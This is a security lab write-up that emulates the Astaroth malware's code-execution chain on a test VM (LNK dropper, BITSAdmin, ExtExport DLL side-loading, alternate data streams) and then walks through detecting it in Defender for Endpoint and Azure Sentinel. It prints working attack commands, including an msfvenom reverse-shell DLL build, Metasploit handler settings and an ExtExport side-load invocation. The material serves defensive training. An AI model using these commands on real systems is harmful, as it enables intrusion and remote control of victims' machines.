Att^ck & D3fend: MDE LAB Series – C0d3 eX3CuT!oN
Managing comprehensive security products and security controls can be complicated, requiring a specific skill set and controlling all over the security process. In addition to managing complexity is tracking where the simulation activities, alerts, and results are reflected during the evaluation and testing.
The Microsoft Defender for Endpoint LAB – the MDE LAB is a series of Att^ck & D3fend: MDE LA8S that gives you a perspective of how the attacker’s actions can be done, focus on testing the MDE capabilities platform, running various simulations, and seeing the prevention, detection, and remediation features in action.
With the simplified practice, you can focus on running your security test scenarios and see how Microsft Defender for Endpoint can identify, protect, and investigate an incident. The Att^ck & D3fend: MDE LAB includes several scenarios:
- Initial access
- Code execution (this lab)
- Discovery and lateral movement
- C2 and exfiltration
- Cloud Attack (several labs)
In this lab, I will go over code execution and persistence. I will explore a few offensive techniques for achieving code execution and maintaining a foothold within a victim environment.
This lab aims to explain how these attacks occur and how they can be detected. In addition, I will run an emulation of the TTPs and see how living-off-the-land binaries (LOLBins), DLL side-loading, and alternate data streams could be used by threat actors. I will also explore the detection strategies employed to spot these using Microsoft Defender for Endpoint.
Note: in this lab, we also have some investigation with Azure Sentinel
The Attack & LAB Artifacts
Like the previous lab of initial access, this lab includes many artifacts, such as the attack method, the attack process, the investigation tools, and other artifacts.
Astaroth is an info-stealing malware that employs multiple fileless techniques and abuses various legitimate processes to attempt running undetected on compromised machines. The updated attack chain, which we started seeing in late 2019, maintains Astaroth’s complex, multi-component nature and continues its pattern of detection evasion.
Astaroth now completely avoids the use of WMIC and related techniques to bypass existing detections. Instead, the attackers introduced new techniques that make the attack chain even stealthier:
- Abusing Alternate Data Streams (ADS) to hide malicious payloads
- Abusing the legitimate process ExtExport.exe, a highly uncommon attack vector, to load the payload
Astaroth exemplifies how living-off-the-land techniques have become standard components of today’s attacks intent on evading security solutions. However, as we mentioned in our previous blog on Astaroth, fileless threats are very much observable. These threats still leave a great deal of memory footprint that can be inspected and blocked as they happen. Next-generation protection and behavioral containment, and blocking capabilities in Microsoft Defender for Endpoint lead the charge in exposing threats like Astaroth.
The attackers were careful to ensure the updates didn’t make Astaroth easier to detect; on the contrary, the updates only make Astaroth’s activities even more invisible.
One of the most significant updates is the use of Alternate Data Stream (ADS), which Astaroth abuses at several stages to perform various activities. ADS is a file attribute that allows a user to attach data to an existing file. The stream data and its size are not visible in File Explorer, so attacks abuse this feature to hide malicious code in plain sight.
TIP: Code Execution consists of techniques that result in adversary-controlled code running on a local or remote system.
LOLBins is a term to refer to any binaries that are already part of the operating system and that can be abused by malicious actors to perform actions they were not intended to. They are accommodating for attackers for two main reasons:
- They can be used as they are, without delivering any new files or modifying them.
- They provide the perfect way to bypass detection mechanisms.
This definition can also be expanded to include libraries and scripts known as LOLBAS, further expanding the toolset readily available to the attacker.
TIP: LOLBins are binaries that can be used by an attacker to perform actions beyond their original purpose
BITSAdmin is a Windows command-line tool whose primary purpose is to manage download and upload jobs while monitoring their progress. However, this tool can and has historically been abused in many ways, with attackers using it for anything from file transfer to code execution.
ExtExport is a utility that comes bundled with Internet Explorer that looks and loads DLLs with the following names:
An attacker can abuse this tool by passing it a path, for example, “c:\test,” where a malicious DLL is stored.
Alternate Data Streams (ADS) are a property of every entry on the Master File Table of NTFS formatted file systems used to store arbitrary data. When used maliciously, this can be abused as a defense evasion and code execution technique by hiding complete files from usual detection methods and providing the ability to access them later.
Astaroth Malware is a malware campaign that has always used obfuscation, fileless techniques, and legitimate system tools (also known as Living-off-the-Land binaries or LOLBins) to avoid detection. In its latest form, seen first in February and still active, the malware ditched the use of Windows Management Instrumentation Command-line (WMIC) and adopted two new, less common techniques:
- Abuse of Alternate Data Streams (ADS)
- Abuse of ExtExport.exe LOLBin.
Through these techniques, the malware could get access to the victim’s system, deliver the payloads and execute them in an even stealthier manner than in previous campaigns.
TIP: Astaroth is a trojan and information stealer. It is used in a fileless malware campaign in the memory of infected computers. Astaroth also abuses living-off-the-land binaries (LOLbins).
The LAB Tools
- Attacking VM – WIndows10 with KALI on WSL2
- Victim VM with Windows 10
- Sysmon for the Victim VM
- Azure Sentinel
- Microsoft Defender for ENdpoint
- Dropper Creation
- Creating a stager
- Payload Generation
- Creating a listener
- Creating the server
- Execution of the attack
- Attack detections via MDE
- Attack detection via Azure Sentinel
Code Execution LAB
First of all, we need to create a dropper file that will imitate the one users received after clicking on the malicious link in the Astaroth campaign, and that kickstarts the whole compromise process. To do this, we will write a helper batch file that will use a temporary VBScript to create the final LNK dropper file.
Please copy the code below, save the file with bat extension, move it to the Victim VM and execute it to create the dropper in LNK format. When we execute the dropper, it will connect back to the attacking server, download the stager payload, execute it and delete it.
Once the dropper is executed, it’s created a new file called clickme.lnk
Creating a Stager
Next, we will write the stager, which will be a simplified simulation of the attack flow of the real threat. However, we will still focus on using LOLBins and Alternate Data Streams to download, hide, and execute our payloads.
- The code that follows this text downloads the final Meterpreter payload in DLL format using Bitsadmin.
- This payload then gets renamed to one of three DLL names that Extexport looks for (mozcrt19.dll, mozsqlite3.dll, or sqlite3.dll) stored in C:\Users\Public\Libraries\raw, where the Extexport utility will find it.
- It will be generated by a small VBScript that we will drop to disk, then copy into the ADS of desktop.ini, and finally delete it, effectively hiding it from unwanted attention.
This file must be stored in your attacking VM in the same folder from where we will start our server. When we execute the dropper created in the previous step, this file will be fetched, executed, and then deleted.
To generate the malicious DLL file Extexport will import, we will use msfvenom, a utility of the Metasploit framework used to generate payloads in different formats and multiple platforms.
To create the payload, enter the following command:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacking_ip LPORT=4444 -f dll -o payload.dll
Breakdown of the command:
- -p windows/meterpreter/reverse_https – generate a payload that will be suitable for the listener we previously created. This value needs to correspond to the one configured in the exploit/multi/handler within Metasploit.
- LHOST=attacker-IP – this will configure the IP address where the payload will connect back.
- LPORT=4444 – this will set up the listening port.
- -f dll – this generates a payload in the DLL format.
- -o payload.dll – will write the payload into a file called payload.dll.
The name of the payload will be later renamed to one of the Extexport DLLs when we copy it to the target machine, as explained in the previous step.
We will use the HTTPServer Python module to quickly spin up an HTTP server that will serve our newly-created stager and payload. Change to the same directory where our payloads are stored and execute the following command:
python -m http.server 80
TIP: Group the files: stager.cmd and payload.dll in the exact location and launch an HTTP server.
This will spin up our web server, and any file in that directory will be accessible by performing a request. The example below includes access from a browser to the webserver.
To set up the C2 server that will receive the reverse connection from our payload, we will use the Metasploit Framework. Installation and setup of the framework are outside of the scope of this lab and are therefore left as an exercise for the reader.
Start the Metasploit console and configure what, in Metasploit terminology, is known as a “handler”:
This will bring you to the handler configuration. Here, we can specify the type of payload we wish to use and allow us to configure the IP address and port where Metasploit will be listening:
Define the payload used
set PAYLOAD windows/meterpreter/reverse_tcp
Define the listening host
set LHOST attacker-ip
Define the listening port
set LPORT 4444
Start the handler
The payload description we have chosen reads Windows Meterpreter (Reflective Injection), Reverse TCP Stager, which means that this is a meterpreter implant that communicates back to the Metasploit server over the TCP protocol.
The C2 framework is now ready to receive connections 👇
Note: Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.
Now. Let’s execute the clickme.lnk in folder C:\Users\Public\Libraries\raw – on Victim VM. In theory, the file will run, and we get a Meterpreter session. In a real-world with the MDE, the action will be blocked because MDE identifies the actions and prevent them, so we don’t have a Meterpreter session.
Looking at the HTTP server and meterpreter, we can see that the Victim VM tried to establish a connection without any success. 👇
We are now aware of how the attackers behind the Astaroth campaign conducted a large part of their operation. So how do we detect them? MDE will do the whole part of detection, identifies and prevent them from running. We need to investigate vis MDE.
TIP: Because we’re using Azure Sentinel and sysmon, the investigation can be with both MDE and Azure Sentinel.
To check how Defender for Endpoint identified, prevent, and blocks this attack and also provides rich investigation, and how Azure Sentinel takes the investigation once step ahead, make sure to run at least the following exercises:
Note The MDE and Azure Sentinel exercises are in question mode.
How does the attack look like? The attack was prevented?
The first thing we need to do in this incident is to understand whether the incident has been terminated and the landscape of this attack. The main incident we show us is the process of the attack and if the alerts are related between them. If yes, the attack will be by type as a multistage attack.
TIP: a multi-stage attack using attack-track-based visualization. Heterogeneous event streams. They have developed a technique. that provides the security analyst with real-time multistage. Attack visualization. A multistage attacks by identifying combinations of anomalous behaviors and suspicious activities that are observed at various stages of the kill-chain
Meterpreter malware was prevented? – Identify if the Meterpreter was blocked and if the Victim hooked successfully
Was the attack successful? Has contact been made with the attacker? Was the session status still alive? If yes, for how long time? If the MDE configured well, it should be blocked this attack and won’t allow device hooking.
The MDE should identify and raise an alert and incident for this action. From this alert, you should drill down to the alert story and start the investigation. As we can see, we’ve got the main alert for the ‘Meterpreter’ malware was prevented.
This detection might indicate that the malware was stopped from delivering its payload. However, it is prudent to check the machine for signs of infection. Some artifacts are below:
- Detection status: Prevented
- Category: Malware
- Prevented actions: BITSAdmin tried to transfer the payloads
- Techniques: T1059: Command and Scripting Interpreter and T1059.001: PowerShell
TIP: Background Intelligent Transfer Service Admin (BITSAdmin) is a command-line tool used to create, download or upload jobs and monitor their progress.
When you drill down to the alert story, you should find important information about each stage of this attack. This time information about the file move action with the findings below:
- Source and destination paths and SHA1
- PE Metadata gives more insight about the files themselves, such as who the file is signed by, the associated DLLs that get downloaded, etc.
- Detection details that provide insight about Threat name, Remediation action, the Remediation status, and other information
We can view additional and related information when going to the timeline (from the 3 dots).
If it is not enough, we can “collect the investigation package” with a single click.
Can you identify where all start from? In any malicious actions, we must know who’s the relevant files and from where they come.
Because this code execution scenario is a manual simulation, I created all the files, and the first file was the dropper.bat file. We can quickly search from the timeline and apply few filters to find the first file in this scenario.
TIP: in every attack, there is a patient zero, the first action the attack came from, and the patient zero can come from email, a downloaded file, or via USB stick.
Do you’ve got LOLBin? are you know if DLL is loaded?
In this scenario, we used the ExtExport. The ExtExport.exe is a utility that comes bundled with Internet Explorer that looks and loads DLLs with the following names:
ExtExport is a quick & dirty recipe for loading a DLL found inside the Internet Explorer directory. Drop a file named like one of these: mozcrt19.dll, mozsqlite3.dll, and sqlite3.dll.
- inside the c:\test folder
- Now run:“C:\Program Files\Internet Explorer\ExtExport.exe” c:\test foo bar
This will load one (or all) of these DLLs.
The MDE detected and blocked the ExtExport and the actions that tried to load dll.
- Threat name: Behavior: Win32/ExtExportAbuse.B
- Remediation action: remove
- Remediation Status: Success
When going to the ExtExport, we can find the image file, execution details, and prevalence inside the organization and worldwide. Also, we can find an abuse of ExtExport.exe to load the payload.
TIP: Astaroth is a trojan and information stealer. It’s used in a fileless malware campaign in the memory of infected computers. Astaroth also abuses living-off-the-land binaries (LOLbins).
What type of attack was carried out? And whether it is a linked attack? Because I ran the payload with two different commands, the MDE notified you about the multistage attack. Still, for the same kind of attack, if the attack successfully ran on the victim-VM and didn’t prevent it, the MDE was not configured correctly (for sure).
Have stagers successfully initiated in your victim VM? If MDE configured well, it wouldn’t be able to be initiated successfully.
In this simulation, I added the Azure Sentinel and Ssysmon as optional. Still, if you’ve got Azure Sentinel, you must use it as part of the investigation process because it provides a high value with many benefits.
Azure Sentinel and Sysmon Investigation
Azure Sentinel with MDE and Sysmon is a wet dream for an investigator because everything is in front of us, and we have to investigate.
Which event do you’ve got from Sysmon? are you able to view the attack?
If Azure Sentinel and Sysmon are configured with at least the basic configuration, you should view the attack and the attack process with all Sysmon events.
What we’re looking for? We’re looking for process creation, the file created, network-initiated and using the dropper and stager with all ADS locations. Once we’re parsing the Sysmon event, we can find everything that we want too, the example below is for the process command line for the stager, and the second is for the extexport.
If we go to the incident itself, we can view that we’ve got an A multi-stage incident involving Execution & Persistence on one endpoint. From this point, we can go to the entities, the investigation, and each part of the entities and investigate the incident.
The investigation with all artifacts and entities. As we can view, there are many findings in this incident, and we should go over each of these findings and check the correlation and if the attack is executed.
A zoom-in view for the investigation.
The Entities. In many incidents, we can start from the entities to check which entity is part of the game.
Each entity includes many information, alerts, host, and related event.
Azure Sentinel and Sysmon – Basic parsing Azure-Sentinel-4-SecOps/ParseSysmon.txt at master · eshlomo1/Azure-Sentinel-4-SecOps (github.com)
More MDE blog-posts – Microsoft Defender For Endpoint Archives